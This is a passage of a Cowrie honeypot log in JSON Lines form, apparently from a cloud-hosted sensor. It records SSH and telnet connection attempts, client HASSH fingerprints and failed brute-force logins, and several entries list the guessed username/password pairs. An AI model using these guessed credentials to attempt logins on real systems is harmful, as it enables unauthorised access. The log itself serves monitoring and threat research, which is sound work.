{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:18.723492Z","src_ip":"209.99.185.195","session":"87ce226add3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:18.838920Z","src_ip":"209.99.185.195","session":"87ce226add3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1","message":"login attempt [root/qwe1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:19.328199Z","src_ip":"209.99.185.195","session":"87ce226add3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:20.445343Z","src_ip":"209.99.185.195","session":"87ce226add3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":40082,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf899826c7c","protocol":"telnet","message":"New connection: 176.65.149.254:40082 (159.203.135.109:23) [session: daf899826c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:22.960524Z"}
{"eventid":"cowrie.session.closed","duration":41.19675016403198,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:51.546284Z","src_ip":"69.65.3.189","session":"889ad20f7e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862361669540405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:53.822600Z","src_ip":"176.65.149.254","session":"daf899826c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cdcab92ed9","protocol":"ssh","message":"New connection: 80.94.92.184:51382 (10.17.0.5:22) [session: b9cdcab92ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:18.992858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:19.127111Z","src_ip":"80.94.92.184","session":"b9cdcab92ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:19.131057Z","src_ip":"80.94.92.184","session":"b9cdcab92ed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:20.137089Z","src_ip":"80.94.92.184","session":"b9cdcab92ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:21.398798Z","src_ip":"80.94.92.184","session":"b9cdcab92ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":42778,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac077e92a41","protocol":"ssh","message":"New connection: 209.99.185.195:42778 (10.17.0.5:22) [session: 9ac077e92a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:38.732960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:38.737849Z","src_ip":"209.99.185.195","session":"9ac077e92a41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:38.854245Z","src_ip":"209.99.185.195","session":"9ac077e92a41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin123","message":"login attempt [sysadmin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:39.341834Z","src_ip":"209.99.185.195","session":"9ac077e92a41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:17:40.458052Z","src_ip":"209.99.185.195","session":"9ac077e92a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":45136,"dst_ip":"10.17.0.5","dst_port":23,"session":"50addfa21ba5","protocol":"telnet","message":"New connection: 69.65.3.189:45136 (10.17.0.5:23) [session: 50addfa21ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:18:31.046444Z"}
{"eventid":"cowrie.session.closed","duration":37.81236934661865,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:08.858705Z","src_ip":"69.65.3.189","session":"50addfa21ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":52126,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ea96c07471","protocol":"telnet","message":"New connection: 69.65.3.189:52126 (10.17.0.5:23) [session: a8ea96c07471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:14.146676Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":60502,"dst_ip":"159.203.135.109","dst_port":22,"session":"601ff30d5fb9","protocol":"ssh","message":"New connection: 187.16.96.250:60502 (159.203.135.109:22) [session: 601ff30d5fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:19.501969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:19.507732Z","src_ip":"187.16.96.250","session":"601ff30d5fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:19.624643Z","src_ip":"187.16.96.250","session":"601ff30d5fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert123","message":"login attempt [ubuntu/qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:20.120771Z","src_ip":"187.16.96.250","session":"601ff30d5fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:21.239717Z","src_ip":"187.16.96.250","session":"601ff30d5fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":42374,"dst_ip":"159.203.135.109","dst_port":22,"session":"27af3aed3aa5","protocol":"ssh","message":"New connection: 78.128.112.74:42374 (159.203.135.109:22) [session: 27af3aed3aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:33.973574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:34.213404Z","src_ip":"78.128.112.74","session":"27af3aed3aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:34.216802Z","src_ip":"78.128.112.74","session":"27af3aed3aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server","message":"login attempt [user/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:35.713341Z","src_ip":"78.128.112.74","session":"27af3aed3aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:36.839085Z","src_ip":"78.128.112.74","session":"27af3aed3aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.00880432128906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:19:55.155347Z","src_ip":"69.65.3.189","session":"a8ea96c07471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.162.232","src_port":51272,"dst_ip":"159.203.135.109","dst_port":23,"session":"434d25bb5d80","protocol":"telnet","message":"New connection: 117.50.162.232:51272 (159.203.135.109:23) [session: 434d25bb5d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:08.721190Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54034,"dst_ip":"10.17.0.5","dst_port":22,"session":"8730e81d07d1","protocol":"ssh","message":"New connection: 80.94.92.184:54034 (10.17.0.5:22) [session: 8730e81d07d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:11.237491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:11.349423Z","src_ip":"80.94.92.184","session":"8730e81d07d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:11.354129Z","src_ip":"80.94.92.184","session":"8730e81d07d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:12.914485Z","src_ip":"80.94.92.184","session":"8730e81d07d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:14.308124Z","src_ip":"80.94.92.184","session":"8730e81d07d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.487340450286865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:20:39.208391Z","src_ip":"117.50.162.232","session":"434d25bb5d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":46304,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ea87965c95","protocol":"ssh","message":"New connection: 209.99.185.195:46304 (10.17.0.5:22) [session: 64ea87965c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:21:32.803124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:21:32.807904Z","src_ip":"209.99.185.195","session":"64ea87965c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:21:32.917674Z","src_ip":"209.99.185.195","session":"64ea87965c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd2025","message":"login attempt [root/passw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:21:33.389938Z","src_ip":"209.99.185.195","session":"64ea87965c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:21:34.503190Z","src_ip":"209.99.185.195","session":"64ea87965c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d28f7fad9e0","protocol":"ssh","message":"New connection: 194.59.206.2:51116 (159.203.135.109:22) [session: 7d28f7fad9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:08.375770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:08.380603Z","src_ip":"194.59.206.2","session":"7d28f7fad9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cb